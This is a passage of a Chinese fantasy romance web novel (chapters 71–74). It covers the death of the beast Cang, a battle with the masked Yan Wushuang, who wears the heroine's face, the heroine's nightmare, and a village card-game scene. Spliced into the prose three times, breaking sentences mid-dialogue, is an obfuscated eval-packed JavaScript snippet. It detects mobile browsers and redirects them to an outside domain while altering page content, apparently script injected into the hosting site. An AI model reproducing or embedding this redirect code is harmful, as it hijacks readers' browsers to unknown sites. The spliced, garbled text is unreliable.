易桉尚未答话，身后瞬间撕开一道裂缝，他转身便往里走。洛念安赶紧跟上，随即便听见他沉声道：“阿离在求救。” 71. 天下无不散之筵席 洛念安猛地噤声，神色竟变得与易桉一样了。 再现身时，他们正身处一片瘴气弥漫的深林之中。二人一眼便看见倒在暗处的苍，和守在它身侧发出呜咽声的阿离。 苍？！ 洛念安一惊，快步跟在易桉身侧赶了过去。 阿离见到来人，从地上起身，往易桉的方向走了几步，又似放心不下，退回到苍的身边。它尚能行动，那头的苍却是动都动不得了。 得知这一点，洛念安整颗心都揪了起来。 他们快步来到苍的身侧，易桉先是看了阿离一眼，才低头查看着苍的伤势。 阿离见状，转而来到洛念安面前，它的喉咙里仍旧发着低低的呜咽声。 洛念安以为它受到了惊吓，便抬手摸上它的脑袋想要安抚一下，手掌心传来温热的触感，洛念安动作一顿，翻过手掌，满手的猩红几乎刺伤了她的眼睛。阿离通体漆黑的毛发完美掩盖住血液的猩红，若非伸手去触碰，根本看不出来。她的心揪得更紧了，紧张道：“你受伤了？” 关心则乱，说了句废话。苍既然都伤成了这样，阿离自然不可能幸免。 阿离扑倒在地上，头确实朝着苍的。 易桉闻声看了过来，只是一眼便移了回去。他神情依旧紧绷，面色阴沉。 洛念安顺着看了过去，瞳孔骤然一缩，一颗心瞬间提到了嗓子眼。 竟是一根有两指粗的树枝刺穿了苍的胸腔。 苍倒在地上一动不动，眼睛却睁得溜圆，定定地注视着易桉。 阿离忽然又站起身，喉间的呜咽声更大，它的尾巴指了指苍，又指了指自己。 易桉沉声道：“它救你？” 阿离的尾巴在地面上点了点。 它们到底遇到了谁？ 洛念安蹙下眉头，这个问题阿离应该是没法给出答案。她对易桉道：“小桉，你先带着苍回去救治吧，我......” “你好啊，珈洛。” 阴森可怖的声音猝然从身后响起，登时激得洛念安头皮发麻，汗毛根根竖起。 眼角处一道银光乍现。 洛念安伸手握住易桉的胳膊，快速道：“你带着它们先走。”说着，她便转身，血光最先出战，紧接着龙鸣声响起。 那边断魂已经和笑面人过了几招，便飞至身后。 洛念安手握长枪，刺向那张诡异的笑面，狠声道：“是你！” 血光退下，重新缠上她的腰间。 洛念安招招击向要害，丝毫不留情面。 笑面人只躲，也不出招，却每个动作都能巧妙避开伤害，一副游刃有余的样子。她呵呵笑着，声音森寒：“是我，珈洛，死了一个畜生而已，你何必这样与我生气？” 洛念安气极反笑，双手握枪飞身而起往她头顶刺去：“你怎么不去死？！” 笑面人躲得依旧轻松，她瞬间闪身到洛念安身后，冷冷笑出声：“你这样，很伤我的心，珈洛。” 洛念安招招落空，眼中闪过茫然。一道兽类的哀嚎声响彻深林，瞬间将洛念安的思绪拉了回来，紧接着背后有凉意袭来，她来不及细思，回首抵挡。余光却瞥见有银光袭来。 笑面人闪身后翻，逃离了他们二人的夹击。 “小桉？”看见易桉出战洛念安顿觉不妙，她侧身与之并肩，侧目往那处看去，才惊觉方才那声吼叫是阿离发出来的，而它身侧的苍，双目已经阖上了。 虽然在看清那道伤势之时，她便知晓苍此次多半凶多吉少。但亲眼看见它一动不动毫无生气地躺在那里时，洛念安的心仍是跌落谷底。她蹙着眉，心底隐隐作痛。 曾经每每听到苍的啼声，她都会觉得安心无比。因为苍在，便意味着易桉也在，只要他到场，无论多糟糕的局面都能扭转。所以她总觉得，苍的啼声会带来希望。 以后再也听不到了。 洛念安喉头一梗，侧目看向易桉。他还是那样的神情，看不出喜悲，洛念安心底的痛感却更重了。 “小桉。”她轻声唤道。 易桉垂眸，侧目望向她，须臾，冷然道：“苍活不了，她也得死。” 洛念安点头，心底的怒意一点点将悲痛掩盖。 眨眼的功夫，易桉已经袭到了笑面人跟前。 她还是躲，只是这次，躲得便没有那样轻松了，很快便开始回击。洛念安立在原地，并没有上前交战，她凝神，注视着笑面人的动作。 片刻后，洛念安蹙着眉出声道：“收手吧，颜无双。” 笑面人果真动作一顿。 易桉趁势一剑刺穿她的腹部，利剑在血肉中搅动，又毫不留情地拔出。 就算如此，笑面人尚能凝气，突然击出一掌，将易桉击退数步。 “小桉！”洛念安上前，伸手揽住他的臂膀将人接下：“没事吧？” 易桉站定，吐出一口浊气，声音如常：“没事。” “哈哈哈哈哈哈哈......”那头的笑面人突然大笑出声，笑得腹部伤口的鲜血簌簌外流，浸染了那件黑白道袍，“好啊，你终于认出我来了，珈洛。” “很难吗？”洛念安眼睁睁看着她的伤口愈合，“在紫微大殿，你说我不听话，可是当初我似乎并没有总是忤逆你的意愿。思来想去，这么多年，只有你戴着这张面具时对我说的话，我半句都没有听过。” 面具之下的人哼笑一声：“你也知道。” 洛念安面无表情继续道：“还有，这世上恐怕只有你对我的招势了如指掌了。” 颜无双低着头漫不经心地整理着自己的衣衫：“这话倒是没错。珈洛，你是我教出来的。” 洛念安眸光一凛。 “我可是将我的毕生所学都教授与你，”颜无双抬头，那张面具笑眯眯地对着她，语气一转，满是惋惜道，“可惜了，珈洛，我不会再教出第二个如你一般优秀的徒弟了。” 握住龙吟的五指收紧，这些话狠狠扎向洛念安心中的痛处，她咬牙道：“为什么？！” “为什么？”颜无双轻轻重复，那张面具也转向别处，“你问为什么？”她笑了笑，“珈洛，那五年，你总挑不出我的错吧？” “……”洛念安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15037442|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失神地垂下头，半晌，喃喃道：“为什么要出现？为什么要教我武功？为什么对我……这么好？” 她声音很低，很小，似乎是在问对面那个人，又似乎是在问自己。 颜无双向前移出几步，缓缓靠近她。 易桉横剑，挡在洛念安面前，抬眸扫向她。 颜无双看了他一眼，轻笑出声，那笑声竟如春风般和煦，说出的话却不是这样了：“试想一下，你攀着峭壁苦苦求生，此时，来了一个人，拉住你的手将你用力拽了上来。就在你以为你终于活下来的时候，他又突然，狠狠地把你推下悬崖，你是什么感受？”她冷笑几声，“你问为什么，当然是为了将你从深渊中拉出，然后推向更可怖的深渊，哈哈哈哈哈哈……” 洛念安顿觉寒意从脚底涌入，如临冰窖。 “找死。”易桉几乎是从牙缝里挤出这两个字，面色阴沉，邪气横生，周身法力波动翻动着洛念安的裙摆。 眼见他举剑的手腕一转，洛念安伸手，握上了那只手腕。 易桉周身的气场瞬间敛了下来，侧目望向她。 颜无双观察着二人的举动，闲闲道：“火气灭的真快呢。” 洛念安的关注点却不在这上面，她抬眸，看着颜无双，淡声道：“最后一个问题，那五年里，你对我……有没有过一丝真心实意？” “没有，”面具上的眼睛笑眯眯地看着她，颜无双重复道，“没有。” 洛念安点点头，忽然牵起唇角笑了笑，道：“做了那么久的戏，真是难为你了。” “还好，”颜无双垂首理着衣袖，淡淡道，“我在神界也做了六百年的戏，还好，看你们被我耍的团团转，十分有趣，尤其是你。你现在一定很痛苦吧，珈洛？” 洛念安一语不发，握住易桉手腕的手指微动，又不动声色地移开。下一瞬，二人齐齐出招，一个刺一个扫，攻势凶猛，将颜无双逼退数步之远。 她抬臂一伸，一杆闪着金光的长枪从虚空之境中现身，稳稳落入手中。由此双枪一剑，剑气乱飞，将周围的参天大树都震倒一片。 洛念安抽空扔出血光，形成一个结界将阿离和苍护在里面。 颜无双说的不错，她的确对洛念安的一招一式了如指掌，同时，洛念安也十分熟悉她的招式。 她循规蹈矩打不过，易桉却不一定。 “小桉。”洛念安从前线退下，转为军师，“上挡！” “左刺！” “左挡！” “右提！” “横挑！” “前挡！再削她！” 颜无双招招被挡，还一连中伤几处，饶是那张笑面具都掩盖不住她的不悦。她的注意力难免分到洛念安身上，就在这时，易桉突然发力，银光闪烁似连成了花。 洛念安趁机闪身冲到前线，颜无双上一瞬还看见她在远处，这一瞬便已经来到自己眼前。 洛念安手疾眼快，趁其不备，一把拽掉了她面上的面具。 那张苍白的笑面具下，是一张满是怨怼、恨意、不甘的，和洛念安一模一样的脸。 72. 百年难逃梦魇缠身 想必任谁在非镜中看见一张与自己一模一样的人脸都会惊恐万分。 洛念安也是。以至于她愣在原地，没了反应。那张笑面掉落在地，莫名裂开几道缝隙，碎了。 易桉的剑锋已经划向颜无双的面颊，又猛然顿住，硬生生半道截回。 颜无双望着她，嫣然一笑，笑得邪气横生，十分得意：“我很满意你现在的神情，珈洛。” “你……”半晌，洛念安懵然出声，“你是谁？”问完之后又觉得不对，慌张改口，“我是谁？” 颜无双垂下眸，只笑不语。手中的长枪猛地向前，刺向洛念安。 “铿——”的一声，枪剑相击，声音震耳，将洛念安从迷茫中拉了出来。 颜无双一击未成，看了他们二人一眼，瞬间消失在虚空之境中。她的声音从四面八方森森传来：“万般皆是你，万般皆是我。” “......”洛念安盯着她消失的方向没了动静，半晌后，她木然扭头看向易桉，讷讷道：“她......在说什么？” “胡言乱语。”易桉答。 “小桉，”洛念安将身体大半的重量都压在龙吟枪上，似乎不支着它便无法站立了。她转过身，目光游离，嘴唇轻颤，片刻后问道，“我从出生时起，所有人都说我是......是女魔......” “不是的，”手中的断魂瞬间消失在身侧出现的裂缝之中，易桉打断她的话，伸手，覆上她两侧的肩膀，看着她的眼睛认真道，“不是的姐姐，你和她没有任何关系。” “可是......”洛念安呼吸有些混乱，“锦和他当时说，说颜无双魂魄残缺，剩下的残魂成了我。” 易桉道：“她三魂七魄不全就算重塑肉身也不可能重生。” 洛念安从他的眼睛中，看见了此刻慌乱的自己，她继续道：“可是她和我的容貌几乎......一模一样。” 易桉轻声道：“姐姐难道忘了，我也可以变换容貌，只要会使幻化术法就可以变成任何模样。” “也对，也对。”洛念安在易桉的眼眸中镇静下来。 易桉继续道：“她曾化用不同身份出现在姐姐身边，变换容貌于她而言定是轻而易举。若姐姐的容貌真的与她这般相似，启灵与明修都曾见过她，他们再见姐姐怎会无半点反应？” 听他一言，洛念安心中的乱潮瞬间平息，人也彻底冷静下来，她点点头道：“是这样，我真是昏了头了。” 见她如此，易桉紧蹙的眉头终于舒展开来。 洛念安混沌的思绪总算清明了些，她看着易桉，忽然反应过来，抿了抿唇，低声道：“我们先......带着苍回去吧。” 易桉搭在她肩膀上的手指微动，他面上并没有其他任何神情，还是那样。洛念安却看见他的视线越过她，往身后阿离所在的地方看去，苍也在那里。 易桉垂下眸，轻轻点了点头。 苍沉睡的地方，就位于它长大的地方。 洛念安记得，第一次在这里看见它时，它和阿离打架打得正欢。 此刻，阿离就卧在墓碑前，埋着头，那双荧目似也暗淡了下去。 那块汉白玉碑上什么字都没有，不过该记得的人不会忘记沉睡在下面的，当初那只威风凛凛的生灵。 有一朵白玉兰飘落至玉碑上。 安乐殿的白玉兰似乎常年盛开，永不凋零。就像这座城的鬼魂，永世长存，不消不灭，岁岁年年。 易桉立在玉碑之前，垂眸望了半晌，忽然沉沉出声：“我当年捡到它时，它只有这么大一点。”他说着，伸出苍白而又修长的手，只有拇指和食指竖起，这样比划着。 洛念安看向他伸出的那只手，心想着，好小一只。 “这么多年无论我走到哪，它们都会跟在我身边，如今突然少了一个，”易桉停顿片刻，继续道，“还真有些不习惯。” 洛念安心中酸涩，却不知该如何安慰身旁之人。她自觉一向嘴笨，不会说安慰人的漂亮话。以往有人在她面前哭，她只会说“你别哭”，再也说不出其他。深思片刻，她伸手握上了那只冰凉的护腕，想穿过这只护腕传递些暖意给他。 也不知到底是谁抖了一下，她的手不禁向下滑去，手心处的触感虽依旧很凉，却没有那般坚硬。身侧之人似乎僵直了一瞬，随即五指收拢，两只手紧紧交握。 洛念安微微一怔，心想这般如此，暖意传递肯定比透过护腕快得多，便由着去了。 无言良久，易桉忽然出声道：“走吧。” 洛念安侧目看去。 易桉也正好看了过来：“天色不早了，姐姐劳累一天，去歇息吧。” 他这么一说，洛念安才察觉到天色已暗。今日一天发生的事情似乎比她过去六百年经历的还多，思绪紧绷一整日，现下微微一松，疲倦瞬间席卷全身。 不待她答，易桉便已经牵着她转身。 转过身来，洛念安才发现孔玉正立在不远处，似乎站了许久。 易桉牵着她经过孔玉面前时，他对着他们行了一礼。随后便往后，朝苍的栖息之地走去了。 洛念安回头，看着他停在玉碑前。阿离还在那里卧着，一动不动。 易桉回过头，带着洛念安继续往前走，走了几步，淡声道：“他们算是一起长大的。” 洛念安抿唇，轻轻点头。 易桉一路将她送回寝殿，看着她进门，弯起唇角道：“早些休息，晚安。” 洛念安总觉得他笑得牵强，殊不知自己笑得更是比哭难看：“你也累了一日，早些休息。” 易桉点头，抬手招了招，又说了一句：“晚安。” “晚安。”洛念安回道。 易桉这下笑得便没有那么牵强了。 洛念安关上殿门，转身进入殿中。明明现下有一大堆烂摊子等着收拾，但她真觉得乏极了。脑中混沌不堪，几乎无法思考，眼睛也要挣不动了。 但她还是勉力进入读神阵：“柳将军，你在吗？” “在的在的。”柳渊应得很快。 洛念安问：“现下情势如何？” 柳渊似乎打了个哈欠：“看似是平息了，天上那道缝隙至今也没有任何动静。我们都在神庙里守着呢，打算养精蓄锐一阵，这次看来是一场持久战。” “好的。”洛念安叹出一口气。 柳渊问道：“你呢念将军？你和太阴仙今日走得那样急，发生什么事了？” “我们遇到了颜无双。”洛念安不想将苍的事情说出去，她不认为这件事情谁都能共情。 “什么？！”柳渊惊叫出声，“那你没事吧？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15045706|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “我还好。”洛念安答。 似是听出了她的疲惫，柳渊放低声音道：“那行了，时候也不早了，想必你也累了，休息休息吧。无论有什么事，明日再说。” 洛念安也实在是累，但还是不放心：“天还破着......” “放心吧，”柳渊道，“我安排了人守夜，有异动会告知你的。你现在在哪啊？” 洛念安答：“小桉这处。” 柳渊似乎沉默了片刻，道：“行吧，他那里如今还算安全，你歇着就是，有事会告知你的。” “好。”柳渊办事，洛念安还是放心的。 退出读神阵，困倦瞬间冲入脑中，洛念安躺上床，一挨玉枕便沉沉睡去。 她陷入了一场梦境。 梦中，她身出紫微大殿，一抬眼便看到了师父，师父挂着慈爱的笑，朝她伸手：“安儿，来。” 洛念安心中一喜，一边唤道：“师父！”一边快步朝她走去。 可是向前走了几步，她又听到身后有一道声音唤她：“安儿。” 洛念安脚下一顿，疑惑回首，见到念清漓站在她身后，眉眼弯弯，张开手臂，柔声道：“吾儿，来，到母亲这里来，让母亲看看你。” 洛念安从未见过这样的念清漓，她微微蹙眉，似是不敢相信，顿了顿，轻声唤道：“母后？” 她虽觉不可置信，脚步却已经朝她迈去。走着走着，右侧忽然又发出一道声音：“吾儿。” 洛念安再次顿住，寻着声音的方向看去，洛君逸逆光而立，负着手，一派威严，面上也挂着笑，同样是她从未见过的模样。 “父君？”洛念安眉头蹙得更深，脚步却是不受控制地往那处挪动。 她朝着洛君逸走去，越走越近，越走越近，眼见着就要走到他面前了，身后忽然炸开一道声音： “你好啊，珈洛。” 洛念安猛地停下脚步，凉意从脚后跟瞬间蹿到头顶，身体也止不住地轻微颤抖。 她身体僵硬，吞咽一下，才缓缓回头。 一张惨白的笑面赫然出现在眼前。 洛念安一惊，瞬间向后退去，却因为慌乱，左脚拌右脚，直挺挺跌倒在地。 不疼。 笑面人藏在黑白道袍之中，只露出一张诡异的面具。她立在那里，师父，念清漓还有洛君逸皆缓缓朝她走去。 洛念安心慌不已，唤道：“师父？母后？父君？你们在做什么？不要靠近她！不要靠近她！”她手脚并用往前爬，想要去拦住他们，卖力爬了半晌，猛然惊觉自己还在原地。 她愣住，睁大双眸，眼睁睁看着他们靠近笑面人。 忽然一道金光闪现，下一刻，那杆金色长枪瞬间将三人的身体贯穿。 利刃入肉的声音清晰传来，他们三人被定在原地，再也动弹不得了。 洛念安愣住，睁大的双眸里满是惊恐，一时没了反应。 笑面人缓缓抬手，摘下了戴在脸上的面具，那张与洛念安一模一样的人脸猝然显现。 她弯着唇，笑得明媚灿烂，伸手握住那杆长枪的枪柄，又狠狠地，向前刺入几分。阴森可怖的声音在大殿内回响，带着诡异的轻柔，一声一声钻入洛念安的双耳： “珈洛，你始终，都是被亲族抛弃的命。” 73. 局中人如何善其身 “不要！！！” 洛念安猝然睁眼，猛地坐起身。脊背的凉意尚在，梦中的惊恐感尤为浓烈。 殿门上响起了敲门声，虽轻，却有些急。 易桉的声音随之响起：“姐姐？” 紧接着，殿门被人打开。易桉推门而入，动作很轻，怕吵到谁似的，眼中却满是担忧。 易桉两三步绕到屏风后，看见洛念安还在床上坐着，稍稍松了口气。但看她面上的惊恐却尚未消失，他的眉头又轻轻蹙起，薄唇也抿了起来。 洛念安回神，看见面前的人先是愣了愣，心中的恐惧很快退去，她张了张嘴，开口的声音有些沙哑：“小桉？” 易桉往前两步，坐到床沿，侧身看着她，轻声问道：“做噩梦了？” “嗯。”洛念安疲惫点头，抬手摸了摸额头，全是冷汗。视线里出现一块素帕，她抬眸看了一眼易桉，伸手接过，“谢谢。” 她执帕轻拭额头，视线落在易桉身上，他似乎换了一身行头，却也不是睡觉的装扮。虽心中早有答案，却还是问道：“你……一直在外面吗？” 易桉不急着回答，他站起身，绕到外面，再回来时手上端着银杯，一边递给洛念安一边道：“猜到姐姐会睡不好，所以过来看看。” 洛念安接过银杯，垂眸喝水。这水竟还是热的。她抬眸看向易桉，将银杯放置床头，道：“过来看看？” “嗯。”易桉重新坐回床沿。 洛念安挑眼看向窗外，窗外一片漆黑，她又看了一眼身侧的火烛，顿时眉头微蹙，看向易桉道：“你在殿外待了两个时辰。” 易桉似乎怔了怔，随即弯起唇角：“还真是什么都逃不过姐姐的法眼。” 他昨日肯定也很累，如今不好好休息，怎会吃得消？ “不必担心我，我没事。”洛念安轻声说着，她看着易桉，也知这样说肯定无济于事。思及此，洛念安往一侧挪了挪，拍了拍自己身侧的位置，垂着眸道，“要不你在此处凑合一下，这里位置也……” 她话还没说完，易桉已经躺下了。 “……够。” 动作之迅速，洛念安愣了愣，方觉血气上涌，不自在地别过头去。 易桉侧首望向她，语气似有些愉悦：“姐姐也休息吧。” “……” 由于太过疲乏，洛念安也没脱外衣，就这样和衣而眠。其实他们又不是没有并排躺在一起过，只是之前是在地上，现在到了床上。只是地方变了，其他的也大差不差。 这么想着，洛念安磨磨唧唧地躺了下来，直挺挺的，伸手直接将被子拉到了下巴处。 易桉是直接躺上来的，这床上只有一床被子，他自然不会和洛念安抢被子盖，所以他身上什么都没有。玉枕也在洛念安那里，但他似乎不在意这些，抬起胳膊垫在脑后，枕着小臂，嘴角一直勾着一抹若有似无的弧度。 洛念安好像闻到了他身上的玉兰花香，整个人都放松了下来。她的眼眸忍不住斜到易桉那侧，注意到他没玉枕也没被子，陷入沉思。片刻后，她动了动。 易桉注意到她的动作，侧首看了过来。 “……枕一下吧。”洛念安将玉枕往外扯了扯，“分你一半。” 易桉眉头一挑，似乎怔愣住。须臾，他笑道：“我不用，姐姐枕吧。” 洛念安小声道：“没关系，你枕着胳膊的话，晨起手臂会麻。” 易桉轻笑出声，没再推脱，撤下手臂，身子一挪枕上了玉枕。 两人靠的更近了。 洛念安躺得更直了，片刻后，她又拽了拽被子，飞速分了一角给易桉，还不忘解释道：“小心着凉。” 易桉又笑了，笑得身子都在抖。 “……”洛念安默默钻进被子里盖住半张脸。 好一会儿，易桉才止住了笑，他侧首看过来，问道：“我怎么会着凉呢姐姐？” 也对。 洛念安被他盯得呼吸都不太顺畅了。 易桉忽然动了动，伸手过来。 洛念安紧张地看着那只手越来越近越来越近，然后，他将盖住她半张脸的被子往下拉了拉，柔声道：“会闷气。” 果然呼吸一下子就顺畅了。 洛念安恍然大悟，赶紧多吸了几口气。 空气陷入沉寂，静默许久。洛念安睁着眼睛，一瞬不瞬地看着帐顶。她的思绪飘飘然，再次进入那个梦中，良久，她小声道：“小桉。” “嗯？”易桉轻轻答着。 洛念安盯着帐顶不动，问道：“你说，我活着的意义是什么？” 易桉没有出声。 洛念安继续道：“我这一生，从一开始就是一场骗局。我走的每一步，都在别人设计好的棋局之中。我破不了这个局。” 前尘事，参不破，何以解。 “也想不通，我为什么还活着。” 不知是不是洛念安的错觉，她似乎听到身旁之人吸了几口气。 空气再次陷入沉寂。 静默之中，她以为身侧之人已经睡着了。 却在这时，听见他道：“就当是为了陪我吧，不然......我独身在这世上，会很孤单。” 他的声音很轻，带着几分破碎，和小心翼翼。 洛念安愣住，她猛然侧目看向易桉。 易桉也正好侧过来，看着她。 他眼中有万千情绪，汇成一条汹涌的大江。 相顾无言良久，洛念安眨了眨眼睛，如实道：“我似乎......在哪里听见过这句话。” 易桉却问道：“可以吗？” 他的双眸都睁大了些，期许地望着她。 洛念安微微一怔，视线从他右颊的面具上移开，重新看向帐顶，轻声道：“嗯。” “姐姐。”易桉又突然唤她。 “嗯？”洛念安下意识应声。 易桉停顿片刻，才道：“不可以食言。” “......”洛念安侧目，撞入他的视线，心跳声在这个寂静的夜晚格外明显，她似为了掩盖一般，声音都大了一些，“嗯，不会的。” 她明明已经做了保证，易桉却似乎还是不太高兴，他别开视线，无声地眨着眼。 洛念安的视线再次落在了他面上的那小半张面具上，看着看着，眼皮渐渐沉重起来，一直到彻底睁不开了。 她在易桉身边，睡得总格外安心些。一夜无梦。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15050231|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 再睁眼时，天色已经大亮。 洛念安下意识看向身侧，发现没人。她一惊便坐起身，一手撑床，侧着身子。 屏风另一侧传来响动，洛念安想也不想便唤道：“小桉？” “姐姐，”易桉从那头绕过来，出现在她眼前，笑盈盈地和她打招呼，“早啊。” “早。”洛念安也微笑着回应。 睡觉可以让人短暂地逃避伤痛。 方才睡醒，脑子上不太清醒。在床榻上坐了一会儿，好的坏的记忆统统涌入脑海，洛念安的嘴角一下子便落了下去，扬也扬不起来了。 易桉注意到她的情绪变化，跟着一起放下嘴角。须臾，他出声道：“我做了早饭，姐姐起来吃一些吧。” 洛念安怔怔点头，应道：“好。” 床头放着洗漱用具，鞋子也整整齐齐地摆放在床边。 洛念安收拾好自己，坐在圆桌边。桌上摆着易桉做的早饭，稀稠荤素应有尽有，十分丰盛。 她扫了一眼桌上的佳肴，看向易桉道：“似乎很久都没有尝到你的手艺了。” “是吗？”易桉弯唇笑了笑，“看来是我不够努力了，以后一定日日都让姐姐尝到我的手艺。” 洛念安一听，慌忙摆手：“我不是这个意思，这怎么好意思。” 易桉轻轻一笑，道：“做饭而已，有什么难的？姐姐喜欢吃是我的荣幸，我该努力，让姐姐以后一日吃不到我做的饭便分外想念才好。” 洛念安闻言，唇角牵起几分笑意。 易桉将一碗粥放置在她面前，柔声道：“这粥现在入口刚好，姐姐趁热喝。” “好。”洛念安接过他递来的汤勺，舀起一勺米粥送入口中。冷热的确刚好，米粒入口即化，混合着桂花香气，确实好喝。 洛念安早起胃口不是很好，菜没吃多少，米粥倒是喝了三碗。 在易桉要盛第四碗的时候，洛念安连忙制止：“不用了不用了，我吃饱了。” 易桉道：“不再多吃点吗？” 洛念安连连摇头：“真的吃不下了。” 易桉笑了笑，放下银碗，道：“好吧，吃饱就好。” 洛念安擦拭着嘴角，安静等着易桉。 易桉吃相十分斯文，洛念安一直觉得他无论在做什么，或者什么都不做，只是坐在那里都格外赏心悦目。她看着看着，嘴角便不自觉弯了起来。 易桉自然注意到了这一点，他眉头一挑，放下银筷，执帕擦拭了一番唇角，见洛念安仍旧目不转睛一动不动，他放下手帕，也望着她，嘴角噙着一抹若有似无的笑意。 好半晌，洛念安才似如梦初醒一般，回过神，见易桉正一瞬不瞬地看着她，回想起自己方才失态的傻样，红晕瞬间爬上面颊。她噌的一下站起身，慌乱道：“我吃完了，你呢？” 易桉嘴角的笑意更浓，看着她挑了挑眉，并不语。 “你也吃完了。”洛念安自问自答，在身上摸了一圈，疑惑道，“我的袋子呢？” 易桉站起身，走到床边拿起麻袋，又回到洛念安身边，递给她。 洛念安伸手接过，胡乱点头：“谢谢。”她边背起麻袋边道，“我该去干活了。” 74. 总有勇者以身入狱 “你开什么玩笑？我这是天牌！” “我明明记得已经打出四张天牌了，你手上怎么可能还有？你出老千！” “今日就算天塌了，你也不能这样污蔑我！不信你在里面找，看看一共是不是四张天牌！” “哎哟好了好了，刚刚出了三张没错的。” 洛念安与易桉刚走进小院，便听到了这样的对话。 她脚步一顿，与易桉对望一眼，小声问道：“没走错吧？” 易桉眉头一挑：“姐姐跟着我，怎会出错？” “也是。”洛念安嘀咕一句，继续往前。木屋房门大敞，她停在门前，刚准备抬手敲门，视线落入屋内，正见到三位男子围在一张木桌前，桌上散着纸牌。 她停在那，屋内三人齐齐扭头看过来。 洛念安动作一顿，那三人面上都多多少少被墨水画上了不同的图案。其中，启灵的两颊一边画了一只王八。 易桉停在她身后，视线越过她探入里屋，扫视一圈后，在洛念安耳边小声道：“精彩。” “真......”洛念安正欲开口，视线落在其余两位凡人身上又闭上嘴巴。 “欸？你们来啦。”启灵起身，迎了上来，道，“快进来吧，我们正打牌呢。” 洛念安迈步进屋，闻言视线再次落在桌面的纸牌上，勉强笑道：“好兴致，好兴致。” “嗨呀，”其中一人摆手道，“不就是天要塌了嘛，放轻松，事情来了有天上的神仙顶着，顶不了那就大家一起死嘛，没什么大不了的。” 洛念安闻言，想要咧一下嘴角，发现实在咧不起来，便作罢。 那人盛情邀请着：“你要来玩一局吗，姑娘？” 洛念安走上前去，垂眸看了一眼，摇摇头道：“我不会玩这个，但我会打麻将，四个人可以打麻将，你们会吗？” “麻将？”那人一听，摇头，“不会啊，那个怎么玩？” 洛念安微微一笑：“我现下实在没空，来日，若有机会，我再来教你。” “也好。”那人听着点头，又招呼一旁的启灵，“小李，愣着做什么？来继续啊。” 启灵瞪他一眼：“急什么？人家来找我肯定有事情，待会儿。” 这时，另一人出声道：“我不玩了，我得去找隔壁村的阿花一趟。” “你个老王头，好端端的，去找人家做什么？” 若洛念安没猜错，说话这人是老李。 启灵坐了回去，看那神情，大抵有好戏可看。 老王道：“这天都要塌了，临死之前我得去找阿花说清楚我心悦她啊，如此我就死而无憾了。” 洛念安眉头一挑，搬了张椅子坐下了。易桉也搬了张椅子，坐在她身侧。 “慎重，”老李劝他，“万一人家拒绝你了，临死之前你还得伤心一场。”他看向洛念安，“你说是吧？” 洛念安点点头：“有理。” 老王却道：“我不在意这个，我只想让她知道我心悦她，如此便足够了。” 洛念安再次点点头：“有理。” 一旁的易桉忽然轻笑出声。 洛念安懵然看去，正对上他的视线。 易桉意味不明道：“姐姐觉得，是说好，还是不说得好？” 洛念安一怔，觉得这个问题怎么着也应该落不到她头上，便道：“这个还得看人家自己吧。不过无论日后如何，当下觉得不留遗憾便好。” 易桉闻言，露出一副若有所思的神情，须臾后道：“有理。” 话音刚落，老王拍案而起，把在坐四人中的三个吓了一跳，“我现在就要去。” 启灵道：“淡定，你好歹先把脸上的东西弄掉，沐浴一番，收拾收拾换身衣服再去吧。” 老王道：“我现在去洗脸，不过洗澡肯定是来不及了，万一天马上就塌了呢？” 洛念安举起一只手道：“应该没那么快，还有时间，别着急。” 老李也道：“就是嘛，总得给人家留个好印象。” 老王听言，犹豫了一会儿，道：“好吧，你们说我要不要带点东西去？背一袋米，提两块肉？总不能空手去。” “也行。”老李点头。 启灵道：“你先去把脸洗干净吧，老李，你去帮帮他，免得他洗不干净。” “行。”老李和老王一起出到院子里去了。 他们走后，启灵看向洛念安，问道：“你二人前来所谓何事？” 洛念安将卷轴掏出递给启灵：“将这物还给真君。” 启灵伸手接过，轻轻一笑道：“倒也不急在这一时。” 洛念安道：“真君借与我，我来还总好一些。”她停顿片刻，又问，“此处可有受难？” 启灵道：“暂时没有，不过那道裂缝倒是搞得人心惶惶。” 洛念安点头，道：“我稍后便去解决此事，还劳烦真君安抚人心。” 启灵问道：“如何解决？” 洛念安道：“颜无双一死，种种皆可平息。” 启灵闻言，只望着她，不语。 洛念安眼神游离，片刻后，还是开口问道：“真君，颜无双她是何模样？” 易桉侧目看向她。 启灵垂眸，似陷入回忆，须臾，复又抬眸，却是摇了摇头道：“她一直戴着一张黄金面具，我从未见过她的容貌。” 洛念安愣住，又问：“为神时一直都戴面具吗？就......没有人提出异议？” 启灵摇头道：“神界一向尊重异处。” “是吗？”易桉轻笑一声，道，“第一次知道，真稀奇。” 启灵：“......” 易桉继续道：“若当真尊重异处，何至于至今都要收拾这烂摊子。” 